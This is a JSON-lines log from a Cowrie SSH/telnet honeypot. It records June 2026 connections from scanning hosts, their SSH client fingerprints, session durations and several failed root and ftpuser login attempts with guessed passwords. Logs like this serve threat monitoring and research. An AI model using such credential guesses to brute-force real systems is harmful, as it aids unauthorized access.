{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":55052,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d5223893e84","protocol":"telnet","message":"New connection: 132.148.22.172:55052 (10.17.0.5:23) [session: 5d5223893e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:00.006779Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":13186,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fb6b9322dac","protocol":"ssh","message":"New connection: 194.59.206.2:13186 (159.203.135.109:22) [session: 4fb6b9322dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:02.172990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:02.177288Z","src_ip":"194.59.206.2","session":"4fb6b9322dac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:02.268972Z","src_ip":"194.59.206.2","session":"4fb6b9322dac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:02.362494Z","src_ip":"194.59.206.2","session":"4fb6b9322dac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.57659864425659,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:11.934727Z","src_ip":"172.81.62.90","session":"0f68aba3e857","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.486697912216187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:31.493345Z","src_ip":"132.148.22.172","session":"5d5223893e84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":40218,"dst_ip":"159.203.135.109","dst_port":22,"session":"86dfde741641","protocol":"ssh","message":"New connection: 103.172.78.219:40218 (159.203.135.109:22) [session: 86dfde741641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:39.428391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:39.435152Z","src_ip":"103.172.78.219","session":"86dfde741641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:39.699921Z","src_ip":"103.172.78.219","session":"86dfde741641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"belgorod","message":"login attempt [root/belgorod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:40.495894Z","src_ip":"103.172.78.219","session":"86dfde741641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:41.763673Z","src_ip":"103.172.78.219","session":"86dfde741641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":30644,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1a438fd132d","protocol":"ssh","message":"New connection: 38.93.206.2:30644 (10.17.0.5:22) [session: d1a438fd132d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:57.495391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:57.499723Z","src_ip":"38.93.206.2","session":"d1a438fd132d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:57.550073Z","src_ip":"38.93.206.2","session":"d1a438fd132d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28081993","message":"login attempt [root/28081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:57.724497Z","src_ip":"38.93.206.2","session":"d1a438fd132d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:22:58.776513Z","src_ip":"38.93.206.2","session":"d1a438fd132d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":58668,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c211a1d1dc4","protocol":"ssh","message":"New connection: 46.29.234.126:58668 (159.203.135.109:22) [session: 0c211a1d1dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:24:09.443416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:24:09.447380Z","src_ip":"46.29.234.126","session":"0c211a1d1dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:24:09.562203Z","src_ip":"46.29.234.126","session":"0c211a1d1dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Password","message":"login attempt [ftpuser/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:24:10.053686Z","src_ip":"46.29.234.126","session":"0c211a1d1dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:24:11.171957Z","src_ip":"46.29.234.126","session":"0c211a1d1dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":37538,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb4ac7a31ab","protocol":"telnet","message":"New connection: 94.23.66.112:37538 (10.17.0.5:23) [session: 1cb4ac7a31ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:24:38.112186Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":34040,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d6b68e8ef13","protocol":"telnet","message":"New connection: 103.249.87.183:34040 (159.203.135.109:23) [session: 4d6b68e8ef13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:25:10.001663Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":59108,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6027f212cda","protocol":"ssh","message":"New connection: 152.32.171.213:59108 (159.203.135.109:22) [session: c6027f212cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:25:15.075461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:25:15.079664Z","src_ip":"152.32.171.213","session":"c6027f212cda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:25:15.298926Z","src_ip":"152.32.171.213","session":"c6027f212cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:25:15.613989Z","src_ip":"152.32.171.213","session":"c6027f212cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.91715478897095,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:25:39.029167Z","src_ip":"94.23.66.112","session":"1cb4ac7a31ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88591742515564,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:25:43.887426Z","src_ip":"103.249.87.183","session":"4d6b68e8ef13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50146,"dst_ip":"10.17.0.5","dst_port":22,"session":"605c719ef8b4","protocol":"ssh","message":"New connection: 27.71.230.31:50146 (10.17.0.5:22) [session: 605c719ef8b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:26:31.069232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:26:31.091990Z","src_ip":"27.71.230.31","session":"605c719ef8b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:26:31.368986Z","src_ip":"27.71.230.31","session":"605c719ef8b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User2023","message":"login attempt [root/User2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:26:36.493244Z","src_ip":"27.71.230.31","session":"605c719ef8b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:26:39.366299Z","src_ip":"27.71.230.31","session":"605c719ef8b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":42534,"dst_ip":"159.203.135.109","dst_port":22,"session":"36cf48e5d156","protocol":"ssh","message":"New connection: 46.29.234.126:42534 (159.203.135.109:22) [session: 36cf48e5d156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:24.445446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:24.452790Z","src_ip":"46.29.234.126","session":"36cf48e5d156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:24.562115Z","src_ip":"46.29.234.126","session":"36cf48e5d156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123ewqasdcxz","message":"login attempt [root/123ewqasdcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:25.034535Z","src_ip":"46.29.234.126","session":"36cf48e5d156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:26.146833Z","src_ip":"46.29.234.126","session":"36cf48e5d156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.199.106.159","src_port":53262,"dst_ip":"10.17.0.5","dst_port":22,"session":"92589754b47b","protocol":"ssh","message":"New connection: 198.199.106.159:53262 (10.17.0.5:22) [session: 92589754b47b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.247228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.251413Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.317822Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
